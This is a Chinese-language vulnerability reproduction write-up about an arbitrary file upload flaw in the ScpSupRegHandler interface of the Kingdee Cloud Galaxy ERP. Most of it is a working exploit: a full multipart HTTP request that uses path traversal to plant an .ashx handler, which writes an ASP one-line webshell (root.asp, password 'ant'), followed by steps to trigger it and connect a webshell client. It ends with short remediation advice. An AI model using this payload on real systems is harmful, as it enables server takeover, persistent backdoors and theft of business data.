漏洞复现 - 金蝶云星空 ScpSupRegHandler 任意文件上传漏洞

本文最后更新于 2025年7月14日 中午

📌 漏洞简介

金蝶云·星空(Kingdee Cloud Galaxy)是一款常用于企业 ERP 的云端产品。
ScpSupRegHandler 是供应商注册模块的文件上传接口。

漏洞点:

  • 该接口对上传文件的路径和后缀过滤不严;
  • 攻击者可通过构造特殊路径穿越,写入自定义可执行的 .ashx 文件;
  • 再利用 .ashx 文件生成 ASP 一句话木马,实现远程命令执行。

🗂️ 漏洞环境示例

  • 目标:http://xxx/k3cloud/
  • 漏洞接口:/k3cloud/SRM/ScpSupRegHandler
  • 上传文件保存位置:/uploadfiles/

🚩 漏洞利用步骤

✅ 1️⃣ 构造上传请求

通过 multipart/form-dataScpSupRegHandler 上传恶意的 .ashx 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1
Host: xxx
Content-Type: multipart/form-data; boundary=zjkwwino

--zjkwwino
Content-Disposition: form-data; name="dbId_v"

.
--zjkwwino
Content-Disposition: form-data; name="FID"

2022
--zjkwwino
Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/test.ashx"
Content-Type: text/plain

<%@ WebHandler Language="C#" class="Handler" %>

using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1 = File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%eval request(\"ant\")%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get { return false; }
}
}
--zjkwwino--

image-20250714121323755

🔑 关键点:

  • 使用 ../../../../ 路径穿越,写入到 uploadfiles 目录。
  • .ashx 文件执行后会在相同目录生成 root.asp 后门文件。

✅ 2️⃣ 访问生成的后门

上传完成后,访问恶意 .ashx 文件触发执行:

1
http://xxx/k3cloud/uploadfiles/test.ashx

执行后,在同目录下会生成一句话木马:

1
http://xxx/k3cloud/uploadfiles/root.asp

一句话木马内容:

1
<%eval request("ant")%>

✅ 3️⃣ 使用 webshell 客户端连接

连接:

  • Webshell 地址:http://xxx/k3cloud/uploadfiles/root.asp
  • 连接密码:ant

image-20250714121437326

可执行系统命令、上传其他后门文件或横向渗透。


🔍 漏洞危害

影响点:

  • 攻击者可在服务器任意目录写入可执行脚本。
  • 远程命令执行,可获取服务器权限。
  • 可持久化后门、横向移动至数据库、ERP 核心业务数据。

🛡️ 修复与防护

官方建议:

  • 升级至最新版,修复上传路径校验漏洞。
  • 限制上传文件类型和存储路径,禁止执行型后缀。
  • 增加 WAF 上传防护,拦截可疑文件内容。
  • 服务器开启只读目录隔离,禁止上传目录可执行。
  • 定期审计 uploadfiles 等公共目录。

🚨 总结:此类任意文件上传是企业 ERP 和 OA 系统的高危漏洞之一,核心点在于:

  • 路径穿越
  • 可执行文件上传
  • 弱后端验证